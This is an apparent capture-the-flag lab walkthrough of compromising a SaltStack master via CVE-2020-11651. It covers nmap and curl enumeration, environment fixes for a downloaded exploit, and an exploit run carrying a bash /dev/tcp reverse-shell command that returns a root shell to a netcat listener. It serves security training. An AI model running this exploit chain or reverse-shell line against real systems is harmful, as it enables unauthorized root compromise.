Summary

We’ll gain access to this target by exploiting a pre-auth RCE vulnerability on a SaltStack master, which will grant us command execution on the master by creating a runner of salt.cmd with a function cmd.exec_code.

Enumeration

Nmap

Let’s begin with a simple nmap scan.

kali@kali:~$ sudo nmap -p- 192.168.120.121
Nmap scan report for 192.168.120.121
Host is up (0.0011s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
4505/tcp open  unknown
4506/tcp open  unknown
8000/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 105.30 seconds

This indicates that ports 4505 and 4506 are open. Let’s run a more detailed scan.

kali@kali:~$ sudo nmap -p 4505,4506 192.168.120.121 -sV
Starting Nmap 7.91 ( <https://nmap.org> ) at 2020-12-21 15:21 EST
Nmap scan report for 192.168.120.121
Host is up (0.030s latency).

PORT     STATE SERVICE VERSION
4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0

Those ports are default for ZeroMQ.

Curl

Next, we’ll run curl in a verbose mode against port 8000.

kali@kali:~$ curl <http://192.168.120.121:8000> -v
*   Trying 192.168.120.121:8000...
* Connected to 192.168.120.121 (192.168.120.121) port 8000 (#0)
> GET / HTTP/1.1
> Host: 192.168.120.121:8000
> User-Agent: curl/7.72.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Mon, 21 Dec 2020 20:36:04 GMT
< Content-Type: application/json
< Content-Length: 146
< Connection: keep-alive
< Access-Control-Expose-Headers: GET, POST
< Vary: Accept-Encoding
< Allow: GET, HEAD, POST
< Access-Control-Allow-Credentials: true
< Access-Control-Allow-Origin: *
< X-Upstream: salt-api/3000-1
<
* Connection #0 to host 192.168.120.121 left intact
{"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"}

The response contains an interesting header, revealing that a SaltStack Rest API is listening on that port:

 X-Upstream: salt-api/3000-1

Exploitation

CVE-2020-11651

Based on the version listed in the header (3000-1) we discover an available remote code execution exploit.

Once we download the exploit, we discover that salt doesn’t support Python 3.8 and Kali won’t let us install packages under Python 3.7. Let’s tweak the exploit to address this issue.

kali@kali:~$ python3 -m venv env
...
kali@kali:~$ . ./env/bin/activate
(env) kali@kali:~$ pip install distro salt
...
(env) kali@kali:~$ sed -i 's/from platform import _supported_dists//' ./env/lib/python3.8/site-packages/salt/grains/core.py
(env) kali@kali:~$ sed -i 's/_supported_dists +=/_supported_dists =/' ./env/lib/python3.8/site-packages/salt/grains/core.py

Now we can start a netcat listener on port 4505 and launch the exploit.

(env) kali@kali:~/machines/twiggy$ python3 exploit.py 192.168.120.121 master 'bash -i >& /dev/tcp/192.168.118.2/4505 0>&1'
/home/kali/env/lib/python3.8/site-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3, and in 3.9 it will stop working
  class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.120.121
Retrieved root key: 8tnPuz4Fk+nH4c2CVW3/1BBbWofubqMZGJ1gkEkiB6WzlnyqQ7muDw3dbtKNwTMjUU6IcNFD9VY=
Got response for attempting master shell: {'jid': '20200518074808085260', 'tag': 'salt/run/20200518074808085260'}. Looks promising!

This grants us a reverse shell as root.

kali@kali:~$ nc -lvp 4505
listening on [any] 4505 ...
192.168.120.121: inverse host lookup failed: Unknown host
connect to [192.168.118.2] from (UNKNOWN) [192.168.120.121] 33584
bash: no job control in this shell
[root@localhost root]# id
id
uid=0(root) gid=0(root) groups=0(root)